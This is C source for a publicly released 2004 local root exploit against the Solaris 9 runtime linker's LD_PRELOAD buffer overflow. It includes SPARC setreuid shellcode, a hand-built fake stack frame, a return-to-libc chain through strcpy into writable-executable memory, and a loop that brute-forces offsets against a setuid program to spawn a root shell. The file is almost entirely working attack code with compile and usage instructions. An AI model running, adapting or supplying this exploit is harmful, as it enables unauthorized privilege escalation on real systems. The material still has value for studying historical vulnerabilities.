/*
	Public Relase 06/23/2004

	LD_PRELOAD Ret2Libc Exploit
	
	Tested on Solaris 9 (64 bit)

	Compiling:
		gcc -o ldso_ex ldso_ex.c -lc -ldl

	Usage:
		./ldso_ex -p /usr/bin/eject -b 1531

	Start bruteforce with 1531 on Solaris 9

	by Inode <inode@wayreth.eu.org>

	Sun Solaris Runtime Linker LD_PRELOAD
	Local Buffer Overflow Vulnerability
	( http://www.securityfocus.com/bid/8305 )

	- 0.03
		* Added compatibility with GCC 3.3.2
		  ( get_sp was not working correctly on the lastest gcc)
	- 0.02
		* Added routines to auto get the RWX_MEM

	 $ver=v0.03 $name=ldso_ex.c $date=06/23/2004 

*/


#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <link.h>
#include <procfs.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define version "0.03"

#define BUFFER_LEN 1800

#define string_to_print "HAPPY HACKING"

/*
	Sparc shellcode wrote by Claes M. Nyberg  
	http://www.shellcode.com.ar/sun/sol-sparc-setreuid-sh.c
*/
	
char sparc_shellcode[] =
"\x82\x10\x20\x18\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22"
"\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x82\x10\x20\x2f\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22"
"\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x94\x1a\x80\x0a\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b"
"\xcb\xdc\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8"
"\xe0\x23\xbf\xf4\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23"
"\xbf\xec\x92\x23\xa0\x14\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x82\x10\x20\x01\x91\xd0\x20\x08";

// Global variables
int		num_env=0;
unsigned long 	len_env=0;
char * 		env [50];
unsigned long 	RWX_MEM;
unsigned char 	buffer[ BUFFER_LEN ];

// Prototypes
unsigned long 	get_libc(char * func_name);
unsigned long 	add_env( unsigned char * string );
void 		set_val( char * buffer, long pos, unsigned long value);
void 		get_rwx_mem(void);


int main(int argc, char **argv)
{
	unsigned long stack_base;
	unsigned long arg;
	unsigned long arg_len;
	unsigned long dest_strcpy;
	unsigned long command_pos;
	unsigned long string_pos;

	unsigned long * point;

        unsigned char our_frame[512];

	int status;
	int i;

	char opt;
	char platform[256];
	char pad_prog[200] = "";

	char * vuln_prog = NULL;

	long offset = 1531 ;

	unsigned long get_sp = argv[0];

	fprintf( stderr, "\n LD_PRELOAD Ret2Libc Exploit v%s\n", version);
	fprintf( stderr, " by Inode_ <inode@deadlocks.info>\n\n"); 

        while((opt = getopt(argc, argv, "p:b:")) != -1) {
       
                switch(opt) {
                        case 'p':
                                vuln_prog = optarg;
                                break;
			case 'b':
				offset = atoi( optarg );
				break;
                }
       
        }

	if( vuln_prog == NULL ) {
		fprintf(stderr," Usage: %s -p <setuid prog> -b <start from>\n",argv[0]);
		exit (-1);
	}

	if( offset < 13 || offset > sizeof( buffer) -5 ) {
		fprintf(stderr," Offset must be in the range 13-%d\n", sizeof( buffer) -5);
		exit (-1);
	}

	// Get SI_PLATFORM 
	sysinfo(SI_PLATFORM,platform,256);

	fprintf(stderr, "[+] SI_PLATFORM		: %s\n",platform);
	fprintf(stderr, "[+] SI_PLATFORM Len	: %u\n",strlen( platform ) );


	/*
	 Get the base of the stack
		0xffbefffc for solaris 7,8,9
		0xeffffffc for solaris 2.6
	*/

	stack_base = ( get_sp | 0xffff) & 0xfffffffc;

	fprintf(stderr, "[+] Stack base		: 0x%p\n",(char *) stack_base);

	// Get address on strcpy
	dest_strcpy = get_libc("strcpy");
	fprintf(stderr, "[+] Libc strcpy()	: 0x%p\n",(char *) dest_strcpy);

	// Search for an RWX memory
	get_rwx_mem();
	fprintf(stderr, "[+] RWX_MEM at		: 0x%p\n",(char *) RWX_MEM);

	// Fill the buffer
	point = (unsigned long *) &buffer[0];

        sprintf(buffer,"LD_PRELOAD=/");
       
        for( i = 0; i<sizeof(buffer)-5; i+=4)
                strcat(buffer,"ABCD");
       
        strcat(buffer,"/");

        fprintf(stderr, "[+] Buffer len          : %u\n", strlen(buffer) );


	// Setting the first part of the frame. We use two segment because the
	// function execl need a NULL as end of args

	point = (unsigned long *) &our_frame[0];

	// %l registers
	*point++ = 0xdeadbeef;		
	*point++ = 0xdeadbeef;
	*point++ = 0xdeadbeef;
	*point++ = 0xdeadbeef;
	*point++ = 0xdeadbeef;
	*point++ = 0xdeadbeef;
	*point++ = 0xdeadbeef;
	*point++ = 0xdeadbeef;

	// %i registers (argument of the function)
	*point++ = RWX_MEM;
	*point++ = 0x42424242;
	*point++ = 0x43434343;
	*point++ = 0x44444444;
	*point++ = 0x45454545;
	*point++ = 0x46464646;

	// FP
	*point++ = 0x47474747 ;
	*point++ = RWX_MEM -8 ;
	*point++ = 0x0;


	// Now we can set the environnement array	
	add_env( our_frame );

	command_pos = add_env( sparc_shellcode );
	string_pos = add_env( string_to_print );

	add_env( buffer );
	add_env( NULL );
	
	arg_len = 0;

	arg = arg_len + len_env + strlen(vuln_prog) + 1 + strlen(platform) + 1 ;

	// Pad the arguments len
	strcat( pad_prog, "ABC");

	if( arg_len%4 != 0)
		for(i=0; i<4-(arg_len%4); i++)
			strcat( pad_prog, "D");

	arg_len += strlen(pad_prog ) +1;

	arg = arg_len + len_env + strlen(vuln_prog) + 1 + strlen(platform) + 1 ;


	fprintf(stderr, "[+] Full len		: %lu\n", arg );	


	printf(" %d %d\n", arg%4,arg%8);


	if( arg%8 != 0)
		arg = (arg/8)*8 + 8;

	arg += 4;

	fprintf(stderr, "[+] Argv[0]		: 0x%p\n",(char *) stack_base - arg );
	fprintf(stderr, "[+] Command at		: 0x%p\n",(char *) stack_base - arg + arg_len + command_pos );
	fprintf(stderr, "[+] String at		: 0x%p\n",(char *) stack_base - arg + arg_len + string_pos );
	fprintf(stderr, "[+] Fake frame at	: 0x%p\n",(char *) stack_base - arg + arg_len );


	// Fill the buffer with the address of our string


	for(i = 15;i< sizeof(buffer) - 6;i+=4)
		set_val(buffer, i,stack_base - arg + arg_len + string_pos);

	// Set th}e argv of the function
        point = (unsigned long *) &our_frame[4*9];
        *point++ = stack_base - arg + arg_len + command_pos;

        point = (unsigned long *) &our_frame[strlen(our_frame)-8];
        *point++ = stack_base - arg + arg_len + command_pos;


	// Start the bruteforce
	for( i = offset; i< sizeof(buffer) -6 ;i++){
	
		offset=i;

		if( !fork() ){

			fprintf(stderr, "[+] Using offset	: %lu\n",offset);

			set_val(buffer, offset,     stack_base - arg + arg_len );
			set_val(buffer, offset+4,  dest_strcpy );

			execle(vuln_prog, pad_prog,NULL,env);
			exit(99);
		}

		wait(&status);	

		switch ( WTERMSIG(status) ) {
			case 0:
				printf("Bye Bye\n");
				exit(0);
			case 4:
			case 10:
			case 11:
				break;
			default: 
				fprintf(stderr,"Vuln prog exit with signal %d?!?!?!\n",WTERMSIG(status));
				exit(1);
		};

	}
	return 0;
}

/*
	Get libc address of func_name
*/

unsigned long get_libc(char * func_name)
{
	void *handle;
	unsigned long address;
	Link_map *lm;


	if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen:");
		exit(-1);
	}

	if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(-1);
	}


	if (( address = (long)dlsym(handle, func_name))==NULL) {
		fprintf(stderr, "Can't find %s() in libc\n",func_name);
		exit( -1 );
	}
	address -= 4;

	if (!(address & 0xff) || !(address * 0xff00) ||
	!(address & 0xff0000) || !(address & 0xff000000))
	{
		fprintf(stderr,"The address of %s() contains a '0'. sorry.\n",func_name);
		exit(-1);
	}

	return address;
}

 
/*
	Add to the environnemnt the variables 
*/
unsigned long add_env( unsigned char * string )
{
	int pad , l;
	unsigned long ret;

	if( string == NULL ) {
		env[num_env] = NULL;
		return len_env;
	}

	pad = 4-((strlen(string)+1)%4);

	env[num_env] = string;

	ret = len_env;

	len_env += strlen(string) + 1;

	num_env++;

	if( pad != 4 )
		for( l = 0; l < pad; l++, num_env++) {
			env[num_env] = string+strlen(string);	
			len_env++;
		}

	return ret;
}

/*
	Set a value in any place of the buffet
*/
void set_val( char * buffer, long pos, unsigned long value)
{
        buffer[pos]   = (value & 0xff000000) >> 24;
        buffer[pos+1] = (value & 0x00ff0000) >> 16;
        buffer[pos+2] = (value & 0x0000ff00) >> 8;
        buffer[pos+3] = (value & 0x000000ff);
}

/*
	Get an RWX memory 
*/
void get_rwx_mem(void)
{
        int cur_pid;
        int fd;
        unsigned long address = 0;
        unsigned long address_old = 0;

        char tmp[100];

        prmap_t stru;

        cur_pid = (int) getpid();

        sprintf(tmp,"/proc/%d/map", cur_pid);

        fd = open( tmp, O_RDONLY);

        if( fd < 0 ) {
                fprintf( stderr, "Error get RWX mem... Can't open %s\n",tmp);
                exit(0);
        }

        while( read(fd, &stru, sizeof(stru)) > 0 )
                if( stru.pr_vaddr != 0)
                        if( stru.pr_mflags & MA_READ && stru.pr_mflags & MA_WRITE && \
                                 stru.pr_mflags & MA_EXEC && address < stru.pr_vaddr) {

                                address_old = address;
                                address = stru.pr_vaddr;
                        }
        close( fd );

        if( !(address_old & 0x000000ff) )
                address_old = address_old | 0x00000004;
        if( !(address_old & 0x0000ff00) )
                address_old = address_old | 0x00000400;
        if( !(address_old & 0x00ff0000) )
                address_old = address_old | 0x00040000;
        if( !(address_old & 0xff000000) )
                address_old = address_old | 0x04000000;

        RWX_MEM = address_old;
}


